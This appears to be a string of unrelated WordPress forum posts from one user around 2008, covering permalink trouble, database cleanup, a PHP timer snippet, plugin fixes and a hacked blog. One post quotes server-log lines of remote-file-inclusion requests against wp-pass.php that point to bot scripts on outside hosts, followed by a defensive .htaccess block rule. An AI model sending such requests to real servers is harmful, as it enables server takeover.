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Running an XAMPP offline installation where I test my blog under WP 2.5 at the moment and have the same issues:

* Permalinks work fine when set to default “/?p=”
* Nice Pernalinks (“/%year%/%monthnum%/%day%/%postname%/”) do not work at all, neither for posts nor for pages.
* Updating the rewrite.php does not work either (thx nonetheless, DLO!)

Hm… the last XAMPP installation of WP (I think it was 2.2 or so) worked fine without any problems.

I do not have any plugin activated, and it still does not work.

Does it have to do with the .htaccess, maybe?

Does anyone know how to get this right?

I am definetly not upgrading online to 2.5 before this issue is solved…

OK, I took a further look at those links that appeared in my hacked footer.php. ALL OF THEM lead to a domain called https://www.rashmisinha.com. That looks like a normal blog, but now, try this (this is just for presentation purposes, not supposed for spamming reasons here):

https://www.rashmisinha.com/archive/rams/9/919588447.html

This leads to tablets-city.com!!!

Is this another exploit?

I tried to contact the blog author of https://www.rashmisinha.com, but found no contact details. Apparently, she is a cofounder of slideshare.net. Can anyone with an account there write on her wall? It seems like her server was turned in to a zombie.

Couldn’t find anything on the net for “archive/rams/…”

Seems to be included in WP 2.5 now, if I am informed correctly…

Hey… me too!

I am looking for a way to get rid of unused entries within the tables. With every WP upgrade and plugin installation, the entries are getting numerous… if anyone knows a way, please share.

Thanks, mate – that was exactly what I was looking for!

Today, I noticed that my header.php and footer.php must have been altered: there were some strange spam links in the (generated) HTML-code of my site within a DIV-container that had the attribute “hidden”.

That must have slipped my mind while upgrading my WP installation: of course, my (custom) theme templates were NOT upgraded.

Thank God the code was not (X)HTML-valid: I found it while validating. ??

That also seems to have been done by the hack, so make sure you check your theme files are OK.

Juhu, I just found this:
https://code.google.com/p/simple-tags/

[Update]

My webhost told me that it was injected using a vulnerability in wp-pass.php, also see

https://seclists.org/bugtraq/2007/Jul/0039.html and e.g.

https://mou.me.uk/2008/02/13/hackers-attempting-to-exploit-a-wordpress-vulnerability-using-wp-pass-php/

https://trac.www.ads-software.com/ticket/4606

Here’s a logfile excerpt:

———-
https://www.saphod.net***201.43.55.205 – – [27/Mar/2008:01:48:41 +0100] “GET //wp-pass.php?_wp_http_referer=https://www.freewebs.com/haddem/phpbot.txt HTTP/1.1” 302 – “-” “Mozilla/3.0 (compatible; Indy Library)”
https://www.saphod.net***81.86.41.163 – – [27/Mar/2008:02:43:48 +0100] “GET /wp-pass.php?_wp_http_referer=https://freewebs.com/diegoxfelix/ch.txt?? HTTP/1.1” 302 – “-” “Mozilla/3.0 (compatible; Indy Library)”
https://www.saphod.net***72.4.241.28 – – [27/Mar/2008:02:54:08 +0100] “GET //wp-pass.php?_wp_http_referer=https://www.xsenharox.xpg.com.br/suvbni HTTP/1.1” 302 – “-” “Mozilla/3.0 (compatible; Indy Library)”
https://www.saphod.net***72.4.241.28 – – [27/Mar/2008:04:00:53 +0100] “GET //wp-pass.php?_wp_http_referer=https://xsenharox.xpg.com.br/suvbni? HTTP/1.1” 302 – “-” “Mozilla/3.0 (compatible; Indy Library)”
———-

This seems to be a known bug.

My host replied I could suppress this behaviour by the following lines in .htaccess:

———-
RewriteEngine On

RewriteCond %{REQUEST_URI} (.*)wp-pass.php(.*) [NC]
RewriteCond %{QUERY_STRING} (.*)=http(.*) [NC]
RewriteRule ^(.*) – [F]
———–

For this, also see:
https://wp.dembowski.net/2007/07/10/htaccess-to-prevent-wp-passphp-redirects/

Well, I am not a Rewrite guru… would WP still work after this? Anyway, I should update… is this patched in 2.3.3?

Same happened to me today. After typing in the URL of my weblog, I just saw a lot of error messages, which included something like “permission denied” and “/../ (…) /tmp/ro8kbsmag.txt”. Site Layout was totally messed up, only one page was showing in the page menu.

Took a further look into the database – same things as mentioned above. Pages were converted to posts, and I even saw posts that were supposed to be links to uploaded pictures…

I replaced the database with a backup and now everything is fine. Guess I will have to update soon, that’s why my site is now in maintenance mode.

Thanks for your help, pals!

I am still using WP 2.1.3 and had the same issue with Popularity Contest – using v3.0b10 did the trick. Thanks!!

Good luck with that! ??

That is right, I doubted this, too. I think I have seen it somewhere else and may have copied it in that wrong way… BUT: if I change the order, there is no difference.

I am proud to announce that:
I found the answer!

When you put this into the footer, it works (without the arrows, of course):

<?php
--> global $pageload_start; <--
$pageload_end = getmicrotime();
$pageload_time = round($pageload_end - $pageload_start,3);
echo $pageload_time;
?>

Notice that I missed a ? in the post before, it must of course be <?php.

Redefining the variable as global in the footer actually did the trick. Hm, I thought it would be enough to define it just once as global, but it seems that you have to do it in the header as well as in the footer… otherwise, it won’t work (tried it).

Thanks for your help, nonetheless. ??

Funny… I always thought that variables only have to be set as global if you were using functions… but I am not using $pageload_start in a function, am I? The header and footer are put together to one page in the end, so why does this still only work when defining it as global?

C’mon, guys, this can’t be too hard for you, can it? ??

OK, I just commented out the lines for adding the buttons to the WYSIWYG-editor – and now I can use the quicktag method to embed flash objects. Who needs those buttons, anyway? ??

OK, I just found another link that deals with the gzip thing, but didn’t work for me, either:

https://www.ads-software.com/support/topic/104627#post-512864

I think I will either try and upgrade to the latest WP soon or try to edit the Kimili plugin, commenting out the code that tries to implement the buttons into the editor. There is still the quicktags option to use.